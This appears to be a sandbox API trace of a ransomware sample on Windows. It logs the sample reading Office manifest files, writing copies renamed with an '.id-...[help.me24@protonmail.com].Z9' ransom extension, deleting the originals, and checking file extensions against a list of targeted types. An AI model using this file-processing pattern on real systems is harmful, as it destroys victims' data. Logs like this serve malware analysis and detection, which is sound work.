	[0077.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.156] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.156] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.441] GetLastError () returned 0x0
	[0078.441] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x863, lpOverlapped=0x0) returned 1
	[0078.442] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x870, lpOverlapped=0x0) returned 1
	[0078.443] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.443] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.443] SetEndOfFile (hFile=0x374) returned 1
	[0078.443] CloseHandle (hObject=0x374) returned 1
	[0078.444] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.444] SetEndOfFile (hFile=0x370) returned 1
	[0078.445] CloseHandle (hObject=0x370) returned 1
	[0078.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0078.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.446] lstrlenW (lpString=".doc") returned 4
	[0078.446] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.446] lstrlenW (lpString=".docx") returned 5
	[0078.446] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.446] lstrlenW (lpString=".pdf") returned 4
	[0078.446] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.446] lstrlenW (lpString=".xls") returned 4
	[0078.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.446] lstrlenW (lpString=".xlsx") returned 5
	[0078.446] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.446] lstrlenW (lpString=".ppt") returned 4
	[0078.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.446] lstrlenW (lpString=".zip") returned 4
	[0078.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.446] lstrlenW (lpString=".rar") returned 4
	[0078.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.446] lstrlenW (lpString=".bz2") returned 4
	[0078.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".7z") returned 3
	[0078.447] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString=".dbf") returned 4
	[0078.447] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString=".1cd") returned 4
	[0078.447] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString=".jpg") returned 4
	[0078.447] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString=".doc") returned 4
	[0078.447] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".docx") returned 5
	[0078.447] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.447] lstrlenW (lpString=".pdf") returned 4
	[0078.447] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".xls") returned 4
	[0078.447] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".xlsx") returned 5
	[0078.447] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.447] lstrlenW (lpString=".ppt") returned 4
	[0078.447] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.447] lstrlenW (lpString=".zip") returned 4
	[0078.447] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.447] lstrlenW (lpString=".rar") returned 4
	[0078.447] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".bz2") returned 4
	[0078.447] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.447] lstrlenW (lpString=".7z") returned 3
	[0078.447] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.448] lstrlenW (lpString=".dbf") returned 4
	[0078.448] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.448] lstrlenW (lpString=".1cd") returned 4
	[0078.448] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0078.448] lstrlenW (lpString=".jpg") returned 4
	[0078.448] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.448] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.448] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53
	[0078.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.449] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=215883) returned 1
	[0078.449] CloseHandle (hObject=0x370) returned 1
	[0078.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.449] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.449] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.452] GetLastError () returned 0x0
	[0078.452] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x34b4b, lpOverlapped=0x0) returned 1
	[0078.458] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x34b50, lpOverlapped=0x0) returned 1
	[0078.461] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.461] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.461] SetEndOfFile (hFile=0x374) returned 1
	[0078.462] CloseHandle (hObject=0x374) returned 1
	[0078.466] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.466] SetEndOfFile (hFile=0x370) returned 1
	[0078.468] CloseHandle (hObject=0x370) returned 1
	[0078.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.469] lstrlenW (lpString=".doc") returned 4
	[0078.469] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString=".docx") returned 5
	[0078.469] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.469] lstrlenW (lpString=".pdf") returned 4
	[0078.469] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString=".xls") returned 4
	[0078.469] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString=".xlsx") returned 5
	[0078.469] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.469] lstrlenW (lpString=".ppt") returned 4
	[0078.469] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.469] lstrlenW (lpString=".zip") returned 4
	[0078.469] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.469] lstrlenW (lpString=".rar") returned 4
	[0078.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString=".bz2") returned 4
	[0078.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString=".7z") returned 3
	[0078.469] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.469] lstrlenW (lpString=".dbf") returned 4
	[0078.469] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.469] lstrlenW (lpString=".1cd") returned 4
	[0078.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".jpg") returned 4
	[0078.470] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".doc") returned 4
	[0078.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString=".docx") returned 5
	[0078.470] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.470] lstrlenW (lpString=".pdf") returned 4
	[0078.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString=".xls") returned 4
	[0078.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString=".xlsx") returned 5
	[0078.470] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.470] lstrlenW (lpString=".ppt") returned 4
	[0078.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".zip") returned 4
	[0078.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.470] lstrlenW (lpString=".rar") returned 4
	[0078.470] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString=".bz2") returned 4
	[0078.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString=".7z") returned 3
	[0078.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".dbf") returned 4
	[0078.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".1cd") returned 4
	[0078.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0078.470] lstrlenW (lpString=".jpg") returned 4
	[0078.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.471] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.471] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53
	[0078.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.475] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1261) returned 1
	[0078.475] CloseHandle (hObject=0x370) returned 1
	[0078.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.475] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.475] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.475] GetLastError () returned 0x0
	[0078.475] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.478] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.479] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.479] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.479] SetEndOfFile (hFile=0x374) returned 1
	[0078.479] CloseHandle (hObject=0x374) returned 1
	[0078.480] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.480] SetEndOfFile (hFile=0x370) returned 1
	[0078.481] CloseHandle (hObject=0x370) returned 1
	[0078.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".doc") returned 4
	[0078.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString=".docx") returned 5
	[0078.482] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.482] lstrlenW (lpString=".pdf") returned 4
	[0078.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString=".xls") returned 4
	[0078.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString=".xlsx") returned 5
	[0078.482] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.482] lstrlenW (lpString=".ppt") returned 4
	[0078.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".zip") returned 4
	[0078.482] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.482] lstrlenW (lpString=".rar") returned 4
	[0078.482] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString=".bz2") returned 4
	[0078.482] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString=".7z") returned 3
	[0078.482] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".dbf") returned 4
	[0078.482] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".1cd") returned 4
	[0078.482] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".jpg") returned 4
	[0078.482] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.482] lstrlenW (lpString=".doc") returned 4
	[0078.483] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString=".docx") returned 5
	[0078.483] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.483] lstrlenW (lpString=".pdf") returned 4
	[0078.483] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString=".xls") returned 4
	[0078.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString=".xlsx") returned 5
	[0078.483] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.483] lstrlenW (lpString=".ppt") returned 4
	[0078.483] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.483] lstrlenW (lpString=".zip") returned 4
	[0078.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.483] lstrlenW (lpString=".rar") returned 4
	[0078.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString=".bz2") returned 4
	[0078.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString=".7z") returned 3
	[0078.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.483] lstrlenW (lpString=".dbf") returned 4
	[0078.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
